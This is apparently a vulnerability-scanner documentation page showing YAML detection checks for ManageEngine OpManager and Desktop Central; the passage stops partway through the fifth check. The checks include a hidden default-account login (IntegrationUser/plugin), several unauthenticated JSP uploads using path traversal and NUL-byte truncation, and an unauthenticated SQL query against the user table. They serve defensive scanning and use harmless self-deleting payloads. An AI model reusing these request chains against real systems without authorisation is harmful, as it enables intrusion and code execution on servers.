ManageEngine — 17 vulnerability checks

noctis ships 17 vulnerability checks for ManageEngine, covering 26 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ManageEngine OpManager <= 11.6 IntegrationUser default account login

CVECVE-2015-7765, CVE-2015-7766
Severitycritical · CVSS 9.0
Categorydefault-credentials — Default credentials
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2015-7765.yaml

Logs in to OpManager with the hidden IntegrationUser/plugin account and reports when the session opens the dashboard.

How noctis detects it

  1. HTTP(S) request POST /jsp/Login.do with a crafted body
  2. Checks r1.headers.location for index\.jsp
  3. Checks r1.headers.set-cookie for (JSESSIONID=[0-9a-zA-Z]+)
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET /apiclient/ember/index.jsp
  6. Checks r2.body for OpManager
  7. Checks r2.body for HomeDashboard
  8. Checks r2.body for Logout\.do → finding QoD 75: ManageEngine OpManager default account IntegrationUser/plugin authenticated (302 index.jsp) and the dashboard loaded (OpManager/HomeDashboa…

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2015-7765.yaml
uid: 9f4b1c6a-2e8d-4f31-8a7c-0d5e9b2a6f13
name: "CVE-2015-7765 — ManageEngine OpManager <= 11.6 IntegrationUser default account login (CVSS 9.0)"
description: "Logs in to OpManager with the hidden IntegrationUser/plugin account and reports when the session opens the dashboard."
cves: [CVE-2015-7765, CVE-2015-7766]
cvss: 9.0
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [manageengine, opmanager, default-account]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7765"
  - "OpenVAS NASL 2015/gb_manageengine_opmanager_mult_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2015/gb_manageengine_opmanager_mult_vuln.nasl (GPL-2.0-only).
# Faithful: POST the undocumented default account IntegrationUser/plugin to Login.do with the
# NASL's exact form body; a vulnerable install replies 302 -> index.jsp with a JSESSIONID.
# Extract THAT session and carry it (with the NASL's flashversionInstalled cookie) to the
# dashboard, then confirm all three NASL markers (OpManager, HomeDashboard, Logout.do). A patched
# install rejects the login (200 login page, no index.jsp redirect), so the chain stops
# (non-trivial negative).
steps:
  - id: init
    action: set_var
    var_name: logged
    var_value: false
  - id: init2
    action: set_var
    var_name: t_op
    var_value: false
  - id: init3
    action: set_var
    var_name: t_hd
    var_value: false

  - id: login
    action: http_request
    method: POST
    path: "/jsp/Login.do"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "clienttype=html&isCookieADAuth=&domainName=NULL&authType=localUserLogin&webstart=&ScreenWidth=1295&ScreenHeight=637&loginFromCookieData=&userName=IntegrationUser&password=plugin&uname="
    store_as: r1
  # Require the 302 to redirect to index.jsp (a failed login 302s back to the login page).
  - id: login-gate
    action: match
    source: r1.headers.location
    pattern: "index\\.jsp"
    condition: "r1.status == 302"
    on_match:
      set_vars:
        logged: true
  - id: cookie-extract
    action: match
    source: r1.headers.set-cookie
    pattern: "(JSESSIONID=[0-9a-zA-Z]+)"
    condition: "logged == true"
    store_as: js_match
  - id: cookie-store
    action: script
    code: 'js_match["captures"][0]'
    store_as: js
    condition: "logged == true"

  - id: dashboard
    action: http_request
    method: GET
    path: "/apiclient/ember/index.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "logged == true"
    headers:
      Cookie: "flashversionInstalled=11.2.202; {{js}}"
    store_as: r2
  # NASL requires OpManager AND HomeDashboard AND Logout.do (chained, order-independent).
  - id: tok-op
    action: match
    source: r2.body
    pattern: "OpManager"
    condition: "logged == true && r2.status == 200"
    on_match:
      set_vars:
        t_op: true
  - id: tok-hd
    action: match
    source: r2.body
    pattern: "HomeDashboard"
    condition: "t_op == true"
    on_match:
      set_vars:
        t_hd: true
  - id: detect
    action: match
    source: r2.body
    pattern: "Logout\\.do"
    condition: "t_hd == true"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "ManageEngine OpManager default account IntegrationUser/plugin authenticated (302 index.jsp) and the dashboard loaded (OpManager/HomeDashboard/Logout.do) — CVE-2015-7765."
      stop: true

ManageEngine Desktop Central AgentLogUploadServlet Unauthenticated JSP Upload

CVECVE-2013-7390, CVE-2014-5007
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/manageengine/desktop-central-agentlogupload-file-upload.yaml

Detects ManageEngine Desktop Central builds before 8.0.0 build 80293 whose /agentLogUploader servlet writes an uploaded file to a path built from unsanitised request parameters without authentication, allowing a JSP to be placed in the web root and executed as SYSTEM. The test uploads a per-run JSP with customerId=.. (traversal into the web application root), then requests it: the JSP prints the sum of two random numbers and deletes itself. The finding is reported only when that computed sum comes back, which proves the file was written and executed; a server that stores or echoes the file without running it is not reported. Builds 80293 to 9 build 90054, which only remain exploitable with a valid registered agent's computer, domain and customer identifiers (CVE-2014-5007), are not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filen… with a crafted body
  3. HTTP(S) request GET /{{g.name}}.jsp
  4. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated POST /agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=….jsp wrote a JSP into the web…

References:

Feed source — tests/vulnerabilities/manageengine/desktop-central-agentlogupload-file-upload.yaml
# ManageEngine Desktop Central < 8.0.0 build 80293 — unauthenticated arbitrary
# file upload in AgentLogUploadServlet (/agentLogUploader), CVE-2013-7390;
# CVE-2014-5007 tracks the same servlet's incomplete fix (traversal still
# possible up to 9 build 90054 with a valid computerName/domainName/customerId).
#
# Ported from OpenVAS/Greenbone NVT
#   2013/gb_manageengine_desktopcentral_file_upload_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.803777, GPL-2.0-only)
# Exploit shape from the Security-Assessment.com advisory (EDB-29674) and the
# Metasploit module exploits/windows/http/desktopcentral_file_upload.
#
# The servlet builds the output path from customerId / domainName /
# computerName / filename without sanitising them or checking that the caller
# is a registered agent. customerId=.. with domainName=webapps and
# computerName=DesktopCentral lands the file in the web application root
# (webapps\DesktopCentral), where a .jsp is compiled and run by Tomcat as SYSTEM.
#
# Detection (QoD 97, real exploitation, benign):
#   1. POST a per-run JSP (random name) through the traversal. The JSP only
#      prints NOCTIS<a+b>END — the sum of two per-run random numbers, so the
#      digits never appear in the uploaded source — and then deletes its own
#      file (application.getRealPath(servletPath).delete()).
#   2. GET /<name>.jsp: only a server that wrote the file into the web root AND
#      compiled/executed it returns the computed sum. A server serving the file
#      as static text returns the source (no sum); a fixed server never writes
#      it (404).
#
# Better than the NASL: the NASL only checks that the upload request answers
# "200 + X-dc-header: yes" (a header every Desktop Central response carries)
# and, with customerId=1, writes its file outside the web root, so it never
# proves the file was written or executable. This feed proves execution and
# leaves no file in the web root (the JSP removes itself when it runs; only
# Tomcat's compiled copy stays in its work directory, as with any JSP).
#
# Limitation: builds 80293 – 90054 (CVE-2014-5007 only) need a valid
# registered agent computerName/domainName/customerId, which an
# unauthenticated scanner does not know; those builds are not reported.
uid: 028368a5-77e2-4b14-93cd-e1c4fc6538ca
name: "ManageEngine Desktop Central AgentLogUploadServlet Unauthenticated JSP Upload (CVE-2013-7390)"
description: |
  Detects ManageEngine Desktop Central builds before 8.0.0 build 80293 whose
  /agentLogUploader servlet writes an uploaded file to a path built from
  unsanitised request parameters without authentication, allowing a JSP to be
  placed in the web root and executed as SYSTEM. The test uploads a per-run JSP
  with customerId=.. (traversal into the web application root), then requests
  it: the JSP prints the sum of two random numbers and deletes itself. The
  finding is reported only when that computed sum comes back, which proves the
  file was written and executed; a server that stores or echoes the file
  without running it is not reported. Builds 80293 to 9 build 90054, which only
  remain exploitable with a valid registered agent's computer, domain and
  customer identifiers (CVE-2014-5007), are not reported.
cves: [CVE-2013-7390, CVE-2014-5007]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [manageengine, desktop-central, zoho, file-upload, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-7390"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5007"
  - "https://www.exploit-db.com/exploits/29674"
  - "https://www.exploit-db.com/exploits/34518"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/desktopcentral_file_upload.rb"

steps:
  # Per-run file name and two random operands; the marker is their sum, which
  # is never present in the uploaded source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # customerId=.. + domainName=webapps + computerName=DesktopCentral resolves to
  # the web application root. The JSP prints the marker and removes itself.
  - id: upload
    action: http_request
    method: POST
    path: "/agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename={{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/html;"
    body: "<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>"
    store_as: up

  - id: fetch
    action: http_request
    method: GET
    path: "/{{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: jsp

  # Only a server that executed the uploaded JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename={{g.name}}.jsp wrote a JSP into the web root; GET /{{g.name}}.jsp executed it and returned the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

ManageEngine Desktop Central FileUploadServlet connectionId Unauthenticated JSP Upload

CVECVE-2015-8249
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/manageengine/CVE-2015-8249.yaml

Detects ManageEngine Desktop Central 9 builds before 91093 whose /fileupload servlet builds the path of an uploaded file from the unchecked connectionId parameter without authentication, allowing a JSP to be written into the web application and executed as SYSTEM. The test uploads a per-run JSP with action=rds_file_upload and a connectionId that climbs back to the /jspf/ folder and ends with a NUL byte to drop the ".7z" suffix, then requests /jspf/<name>.jsp: the JSP prints the sum of two random numbers and deletes itself. The finding is reported only when that computed sum comes back, which proves the file was written and executed; a server that refuses the upload, or stores the file without running it, is not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /fileupload?connectionId=x/../../../../../jspf/{{g.name}}.jsp%00&resourceId=B&action… with a crafted body
  3. HTTP(S) request GET /jspf/{{g.name}}.jsp
  4. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated POST /fileupload?connectionId=x/../../../../../jspf/….jsp%00&action=rds_file_upload wrote a JSP into the web root; GET /jsp…

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2015-8249.yaml
# ManageEngine Desktop Central 9 before build 91093 — unauthenticated
# arbitrary file upload in FileUploadServlet (/fileupload) via the
# connectionId parameter, CVE-2015-8249 (Rapid7 R7-2015-22).
#
# Ported from OpenVAS/Greenbone NVT
#   2016/gb_manageengine_desktopcentral_cve_2015_8249.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.140041, GPL-2.0-only)
# Exploit shape from the Rapid7 advisory and the Metasploit module
# exploits/windows/http/manageengine_connectionid_write.
#
# With action=rds_file_upload the servlet writes the POST body to
#   <DC>\webapps\DesktopCentral\server-data\<customerId>\rds\scr-rec\
#       <userName>-<computerName>-<connectionId>.7z
# Only computerName is checked (traversal / script extensions) and customerId
# must be numeric; connectionId is used as-is, so "x/../../../../../jspf/
# <name>.jsp%00" climbs back to the web application root and the NUL byte cuts
# the ".7z" suffix. The .jsp lands in /jspf/, where Tomcat compiles and runs it
# as SYSTEM. Build 91093 refuses (403) a non-numeric connectionId.
#
# Detection (QoD 97, real exploitation, benign):
#   1. POST a per-run JSP (random name) through the connectionId traversal.
#      The JSP only prints NOCTIS<a+b>END — the sum of two per-run random
#      numbers, so the digits never appear in the uploaded source — and then
#      deletes its own file (application.getRealPath(servletPath).delete()).
#      checkSumValue carries the body's MD5, as a real agent sends it.
#   2. GET /jspf/<name>.jsp: only a server that wrote the file into the web
#      root AND compiled/executed it returns the computed sum.
#
# Better than the NASL: the NASL's JSP prints a fixed string that is also in
# the uploaded source, so a server that stores the file and serves it as
# plain text (or reflects it) would match; and its file stays in /jspf/ after
# the check ("Please delete this file"). Keying on the computed sum proves
# execution, and the self-deleting JSP leaves no file in the web root (only
# Tomcat's compiled copy stays in its work directory, as with any JSP).
#
# The servlet sleeps 5 s before writing the file, hence the long upload
# timeout. Limitation: the NUL-byte truncation needs the bundled JRE to accept
# a NUL in a file path (Java before 7u40); on a JRE that rejects it the upload
# fails and the build is not reported.
uid: 439aa8e1-de4a-4f9a-bfd6-61cda8414db8
name: "ManageEngine Desktop Central FileUploadServlet connectionId Unauthenticated JSP Upload (CVE-2015-8249)"
description: |
  Detects ManageEngine Desktop Central 9 builds before 91093 whose /fileupload
  servlet builds the path of an uploaded file from the unchecked connectionId
  parameter without authentication, allowing a JSP to be written into the web
  application and executed as SYSTEM. The test uploads a per-run JSP with
  action=rds_file_upload and a connectionId that climbs back to the /jspf/
  folder and ends with a NUL byte to drop the ".7z" suffix, then requests
  /jspf/<name>.jsp: the JSP prints the sum of two random numbers and deletes
  itself. The finding is reported only when that computed sum comes back,
  which proves the file was written and executed; a server that refuses the
  upload, or stores the file without running it, is not reported.
cves: [CVE-2015-8249]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [manageengine, desktop-central, zoho, file-upload, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-8249"
  - "https://www.rapid7.com/blog/post/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249/"
  - "https://www.exploit-db.com/exploits/38982"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/manageengine_connectionid_write.rb"

steps:
  # Per-run names and operands; the marker is a+b, never present in the
  # uploaded source. The body is built here so its MD5 can go in checkSumValue.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let body = "<% out.print(\"NOCTIS\" + (" + a + " + " + b + ") + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>";
      #{
        name: "noctis" + rand_hex(8),
        comp: "noctis" + rand_hex(6),
        cid: rand_int(10000000, 99999999),
        body: body,
        sum: md5(body),
        marker: "NOCTIS" + (a + b) + "END"
      }
    store_as: g

  # <userName>-<computerName>-x/../../../../../jspf/<name>.jsp%00.7z resolves
  # to <webroot>/jspf/<name>.jsp. The servlet sleeps 5 s before writing.
  - id: upload
    action: http_request
    method: POST
    path: "/fileupload?connectionId=x/../../../../../jspf/{{g.name}}.jsp%00&resourceId=B&action=rds_file_upload&computerName={{g.comp}}&customerId={{g.cid}}&checkSumValue={{g.sum}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    headers:
      Content-Type: "application/octet-stream"
    body: "{{g.body}}"
    store_as: up

  - id: fetch
    action: http_request
    method: GET
    path: "/jspf/{{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: jsp

  # Only a server that executed the uploaded JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /fileupload?connectionId=x/../../../../../jspf/{{g.name}}.jsp%00&action=rds_file_upload wrote a JSP into the web root; GET /jspf/{{g.name}}.jsp executed it and returned the computed marker {{g.marker}} (the JSP deleted itself after running)"
        remediation: "Upgrade ManageEngine Desktop Central to build 91093 or later."
      stop: true

ManageEngine Desktop Central statusUpdate / mdmLogUploader Unauthenticated JSP Upload

CVECVE-2014-5005, CVE-2014-5006
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/manageengine/desktop-central-statusupdate-mdmlogupload-file-upload.yaml

Detects ManageEngine Desktop Central and Desktop Central MSP builds up to 9 build 90054 whose statusUpdate (LFU action, from v7) and mdm/mdmLogUploader (from v8) servlets write an uploaded file to a path built from an unchecked file name, without authentication, allowing a JSP to be placed in the web application root and executed as SYSTEM. For each servlet, the test uploads a per-run JSP whose file name climbs back to the web root with "../" (statusUpdate) or "..\" (mdmLogUploader), then requests it: the JSP prints the sum of two random numbers and deletes itself. A finding is reported for each servlet whose computed sum comes back, which proves the file was written and executed; a server that refuses the upload, or stores the file without running it, is not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /statusUpdate?actionToCall=LFU&customerId={{g.cid}}&fileName=../../../../../../{{g.n… with a crafted body
  3. HTTP(S) request GET /{{g.n1}}.jsp
  4. Checks jsp1.body for NOCTIS[0-9]+END → finding QoD 97: ManageEngine Desktop Central statusUpdate Unauthenticated JSP Upload (CVE-2014-5005)
  5. HTTP(S) request POST /mdm/mdmLogUploader?filename=..%5c..%5c..%5cwebapps%5cDesktopCentral%5c{{g.n2}}.jsp with a crafted body
  6. HTTP(S) request GET /{{g.n2}}.jsp
  7. Checks jsp2.body for NOCTIS[0-9]+END → finding QoD 97: ManageEngine Desktop Central mdmLogUploader Unauthenticated JSP Upload (CVE-2014-5006)

References:

Feed source — tests/vulnerabilities/manageengine/desktop-central-statusupdate-mdmlogupload-file-upload.yaml
# ManageEngine Desktop Central / Desktop Central MSP v7 – v9 build 90054 —
# unauthenticated JSP upload through two servlets that build the output path
# from an unchecked file-name parameter:
#   CVE-2014-5005  StatusUpdateServlet   POST /statusUpdate?actionToCall=LFU&...&fileName=../../../../../../<x>.jsp
#   CVE-2014-5006  MDMLogUploaderServlet POST /mdm/mdmLogUploader?filename=..\..\..\webapps\DesktopCentral\<x>.jsp
# Both land the POST body in the web application root
# (<DC>\webapps\DesktopCentral, served at "/"), where Tomcat compiles and runs
# a .jsp as SYSTEM. Fixed in build 90055.
#
# Ported from OpenVAS/Greenbone NVT
#   2014/gb_manageengine_desktopcentral_69494.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105084, GPL-2.0-only)
# Exploit shape from Pedro Ribeiro's advisory (Full Disclosure 2014/Aug/88,
# EDB-34518) and the Metasploit module
# exploits/windows/http/desktopcentral_statusupdate_upload (EDB-34594).
#
# Detection (QoD 97, real exploitation, benign), once per servlet:
#   1. POST a per-run JSP (random name) through the traversal. The JSP only
#      prints NOCTIS<a+b>END — the sum of two per-run random numbers, so the
#      digits never appear in the uploaded source — and then deletes its own
#      file (application.getRealPath(servletPath).delete()).
#   2. GET /<name>.jsp: only a server that wrote the file into the web root AND
#      compiled/executed it returns the computed sum.
# Each servlet gets its own file name and operands, so each finding names the
# CVE it proved.
#
# Better than the NASL: the NASL only exercises the statusUpdate servlet
# (CVE-2014-5006 is never tested), its JSP prints a fixed string that is also
# in the uploaded source (a server that stores the file and serves it as text,
# or reflects it, would match), and its file stays in the web root ("Please
# delete this file"). This feed tests both servlets, keys on a computed sum and
# leaves no file in the web root (only Tomcat's compiled copy stays in its work
# directory, as with any JSP).
uid: 64ea251b-c944-4f16-ae7f-d28cb93eb61e
name: "ManageEngine Desktop Central statusUpdate / mdmLogUploader Unauthenticated JSP Upload (CVE-2014-5005, CVE-2014-5006)"
description: |
  Detects ManageEngine Desktop Central and Desktop Central MSP builds up to
  9 build 90054 whose statusUpdate (LFU action, from v7) and mdm/mdmLogUploader
  (from v8) servlets write an uploaded file to a path built from an unchecked file name,
  without authentication, allowing a JSP to be placed in the web application
  root and executed as SYSTEM. For each servlet, the test uploads a per-run JSP
  whose file name climbs back to the web root with "../" (statusUpdate) or
  "..\" (mdmLogUploader), then requests it: the JSP prints the sum of two
  random numbers and deletes itself. A finding is reported for each servlet
  whose computed sum comes back, which proves the file was written and
  executed; a server that refuses the upload, or stores the file without
  running it, is not reported.
cves: [CVE-2014-5005, CVE-2014-5006]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [manageengine, desktop-central, zoho, file-upload, path-traversal, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5005"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5006"
  - "https://seclists.org/fulldisclosure/2014/Aug/88"
  - "https://www.exploit-db.com/exploits/34518"
  - "https://www.exploit-db.com/exploits/34594"
  - "https://www.zerodayinitiative.com/advisories/ZDI-15-006"
  - "https://www.zerodayinitiative.com/advisories/ZDI-15-163/"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb"

steps:
  # Per-run names and operands, one set per servlet; each marker is a sum that
  # never appears in the uploaded source.
  - id: gen
    action: script
    code: |
      let a1 = rand_int(100000, 999999);
      let b1 = rand_int(100000, 999999);
      let a2 = rand_int(100000, 999999);
      let b2 = rand_int(100000, 999999);
      let tail = "; try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>";
      #{
        n1: "noctis" + rand_hex(8),
        n2: "noctis" + rand_hex(8),
        cid: rand_int(1000, 9999),
        body1: "<% out.print(\"NOCTIS\" + (" + a1 + " + " + b1 + ") + \"END\")" + tail,
        body2: "<% out.print(\"NOCTIS\" + (" + a2 + " + " + b2 + ") + \"END\")" + tail,
        m1: "NOCTIS" + (a1 + b1) + "END",
        m2: "NOCTIS" + (a2 + b2) + "END"
      }
    store_as: g

  # --- CVE-2014-5005: StatusUpdateServlet (LFU action) ----------------------
  # The upload directory sits six levels below the web root.
  - id: upload_lfu
    action: http_request
    method: POST
    path: "/statusUpdate?actionToCall=LFU&customerId={{g.cid}}&fileName=../../../../../../{{g.n1}}.jsp&configDataID=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "text/html"
    body: "{{g.body1}}"
    store_as: up1

  - id: fetch_lfu
    action: http_request
    method: GET
    path: "/{{g.n1}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: jsp1

  - id: confirm_lfu
    action: match
    source: jsp1.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp1.status == 200 && stridx(jsp1.body, g.m1) >= 0"
    on_match:
      finding:
        title: "ManageEngine Desktop Central statusUpdate Unauthenticated JSP Upload (CVE-2014-5005)"
        cves: [CVE-2014-5005]
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /statusUpdate?actionToCall=LFU&customerId={{g.cid}}&fileName=../../../../../../{{g.n1}}.jsp&configDataID=1 wrote a JSP into the web root; GET /{{g.n1}}.jsp executed it and returned the computed marker {{g.m1}} (the JSP deleted itself after running)"
        remediation: "Upgrade ManageEngine Desktop Central to 9 build 90055 or later."

  # --- CVE-2014-5006: MDMLogUploaderServlet ---------------------------------
  # Windows path separators, sent percent-encoded (%5c); three levels up from
  # the MDM log directory is the install root.
  - id: upload_mdm
    action: http_request
    method: POST
    path: "/mdm/mdmLogUploader?filename=..%5c..%5c..%5cwebapps%5cDesktopCentral%5c{{g.n2}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "text/html"
    body: "{{g.body2}}"
    store_as: up2

  - id: fetch_mdm
    action: http_request
    method: GET
    path: "/{{g.n2}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: jsp2

  - id: confirm_mdm
    action: match
    source: jsp2.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp2.status == 200 && stridx(jsp2.body, g.m2) >= 0"
    on_match:
      finding:
        title: "ManageEngine Desktop Central mdmLogUploader Unauthenticated JSP Upload (CVE-2014-5006)"
        cves: [CVE-2014-5006]
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /mdm/mdmLogUploader?filename=..\\..\\..\\webapps\\DesktopCentral\\{{g.n2}}.jsp wrote a JSP into the web root; GET /{{g.n2}}.jsp executed it and returned the computed marker {{g.m2}} (the JSP deleted itself after running)"
        remediation: "Upgrade ManageEngine Desktop Central to 9 build 90055 or later."

ManageEngine Desktop Central unauthenticated DB Query Executor (CVE-2018-5337 et al.)

CVECVE-2018-5337, CVE-2018-5338, CVE-2018-5339, CVE-2018-5341
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/manageengine-desktop-central-dbqueryexecutor.yaml

Detects ManageEngine Desktop Central builds <= 10.0.184 whose DBQueryExecutor.jsp answers database queries without authentication. A read-only SELECT on the aaauser table returns the query result page.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /jsp/admin/DBQueryExecutor.jsp?actionFrom=getResult&query=SELECT%20*%20from%20aaauser…
  2. Checks dbq_resp.banner for (?s)^HTTP/1\.[01] 200.*execute SQL queries
  3. Checks dbq_resp.banner for >CREATEDTIME<
  4. Checks dbq_resp.banner for >USER_ID<
  5. Checks dbq_resp.banner for >LAST_NAME<
  6. Checks dbq_resp.banner for retrieve any specific information
  7. Checks dbq_resp.banner for Query Executor
  8. Checks dbq_resp.banner for execute SQL queries → finding QoD 75: Unauthenticated DBQueryExecutor.jsp returned aaauser query result: …

References:

Feed source — tests/vulnerabilities/manageengine/manageengine-desktop-central-dbqueryexecutor.yaml
# ManageEngine Desktop Central <= 10.0.184 — unauthenticated DB Query Executor
# CVE-2018-5337, CVE-2018-5338, CVE-2018-5339, CVE-2018-5341
#
# Ported from OpenVAS/Greenbone NVT
#   2018/zohocorp/gb_manageengine_desktop_central_mult_vuln_apr18.nasl (GPL-2.0-only)
#
# Detection: an unauthenticated GET to /jsp/admin/DBQueryExecutor.jsp with a
# read-only SELECT on the aaauser table. A vulnerable server answers 200 with the
# Query Executor page and the result table (CREATEDTIME / USER_ID / LAST_NAME
# columns). Fixed servers no longer expose the page without authentication.
# The query string carries %20-encoding, so the request is sent verbatim over
# tcp_connect (HTTP/1.0) and matched on resp.banner.
# QoD 75 (response analysis).
uid: 45ac5bb4-3480-4cfe-8733-c8c8c6145aa1
name: "ManageEngine Desktop Central unauthenticated DB Query Executor (CVE-2018-5337 et al.)"
description: |
  Detects ManageEngine Desktop Central builds <= 10.0.184 whose
  DBQueryExecutor.jsp answers database queries without authentication.
  A read-only SELECT on the aaauser table returns the query result page.
cves: [CVE-2018-5337, CVE-2018-5338, CVE-2018-5339, CVE-2018-5341]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [manageengine, desktop-central, zoho, auth-bypass, sqli, openvas-port]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-5337"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-5338"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-5339"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-5341"
  - "OpenVAS NVT 2018/zohocorp/gb_manageengine_desktop_central_mult_vuln_apr18.nasl (GPL-2.0-only)"

steps:
  - id: init-flags
    action: set_var
    var_name: dbq_page
    var_value: false

  - id: dbquery-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /jsp/admin/DBQueryExecutor.jsp?actionFrom=getResult&query=SELECT%20*%20from%20aaauser; HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: dbq_resp

  # http_vuln_check(check_header:TRUE, pattern:"execute SQL queries")
  - id: dbquery-page
    action: match
    source: dbq_resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*execute SQL queries"
    on_match:
      set_vars:
        dbq_page: true

  # extra_check: every marker below must also be present; any miss clears the flag
  - id: dbquery-extra-1
    action: match
    source: dbq_resp.banner
    condition: "dbq_page == true"
    pattern: ">CREATEDTIME<"
    on_failure:
      set_vars:
        dbq_page: false

  - id: dbquery-extra-2
    action: match
    source: dbq_resp.banner
    condition: "dbq_page == true"
    pattern: ">USER_ID<"
    on_failure:
      set_vars:
        dbq_page: false

  - id: dbquery-extra-3
    action: match
    source: dbq_resp.banner
    condition: "dbq_page == true"
    pattern: ">LAST_NAME<"
    on_failure:
      set_vars:
        dbq_page: false

  - id: dbquery-extra-4
    action: match
    source: dbq_resp.banner
    condition: "dbq_page == true"
    pattern: "retrieve any specific  information"
    on_failure:
      set_vars:
        dbq_page: false

  - id: dbquery-extra-5
    action: match
    source: dbq_resp.banner
    condition: "dbq_page == true"
    pattern: "Query Executor"
    on_failure:
      set_vars:
        dbq_page: false

  - id: dbquery-confirmed
    action: match
